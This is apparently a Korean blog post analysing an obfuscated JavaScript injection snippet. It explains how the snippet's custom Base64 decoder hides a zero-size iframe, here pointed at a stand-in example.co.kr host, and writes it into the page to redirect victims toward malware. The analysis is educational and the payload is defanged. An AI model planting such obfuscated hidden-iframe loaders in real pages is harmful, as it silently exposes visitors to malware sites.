본문으로 바로가기


1. 개요


Base64 인코딩 알고리즘을 이용하여 JavaScript로 구현, 이를 난독화 형태로 사용 되는 것을 발견하였다. 발견된 소스코드에서 악성 소프트웨어 유포지로 XSS를 발생시키는 코드를 수정한 소스코드이다. (* 여기서 XSS는 피해자를 공격자가 설정한 사이트로 유도하는 스크립트를 사용한 것을 말한다.)


var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";var AcR5="";var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";var i=0;var base64test=/[^A-Za-z0-9\+\/\=]/g;EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");do{wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));n6dE=k0e0y0S.indexOf(EmbR.charAt(i++));X9qV=(wJDZ<<2)|(CX8e>>4);sxY6=((CX8e&15)<<4)|(zRBG>>2);J0lf=((zRBG&3)<<6)|n6dE;AcR5=AcR5+String.fromCharCode(X9qV);if(zRBG!=64){AcR5=AcR5+String.fromCharCode(sxY6);}if(n6dE!=64){AcR5=AcR5+String.fromCharCode(J0lf);}X9qV=sxY6=J0lf="";wJDZ=CX8e=zRBG=n6dE="";}while(i<EmbR.length);document.write(unescape(AcR5));


2. 가독성을 높인 소스코드 및 알고리즘 분석



var k0e0y0S="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";
var AcR5="";
var X9qV,sxY6,J0lf,wJDZ,CX8e,zRBG,n6dE="";
var i=0;
var base64test=/[^A-Za-z0-9\+\/\=]/g;
EmbR=EmbR.replace(/[^A-Za-z0-9\+\/\=]/g,"");// 정규표현식으로 Base64에서 사용하지 않는 단어들을 null로 치환
do{
    wJDZ=k0e0y0S.indexOf(EmbR.charAt(i++));
    CX8e=k0e0y0S.indexOf(EmbR.charAt(i++));
    zRBG=k0e0y0S.indexOf(EmbR.charAt(i++));
    n6dE=k0e0y0S.indexOf(EmbR.charAt(i++)); 
// 풀고자 하는 Base64의 값을 한 글자씩 떼어내어 K0e0y0S 값과 비교하여 같은 글자의 순서 번호를 추출한낸다.
    X9qV=(wJDZ<<2)|(CX8e>>4);
    sxY6=((CX8e&15)<<4)|(zRBG>>2);
    J0lf=((zRBG&3)<<6)|n6dE; // 추출한 값들을 비트연산을 통해 Base64 디코딩하는 과정
    AcR5=AcR5+String.fromCharCode(X9qV);
    if(zRBG!=64){
        AcR5=AcR5+String.fromCharCode(sxY6);
    }
    if(n6dE!=64){
        AcR5=AcR5+String.fromCharCode(J0lf);
    } // AcR5에 비트 연산 후 값들을 fromCharCode를 통해 문자열로 저장한다. 
// 여기서 64는 base64 알고리즘 특성상 발생하는 '=' 문자의 비트연산 후 ASKII DEC의 값이다. 
//비트연산 후 64값은 fromCharCode를 통해 문자로 변환할 필요가 없다는 것을 말한다.
    X9qV=sxY6=J0lf="";
    wJDZ=CX8e=zRBG=n6dE="";
}while(i<EmbR.length);
document.write(unescape(AcR5));


3. 난독화 해제



var EmbR="PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhhbXBsZS5jby5rciIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZn
JhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg==";


EmbR을 Base64 디코더를 통해 풀면 쉽게 풀린다.



댓글을 달아 주세요

티스토리 툴바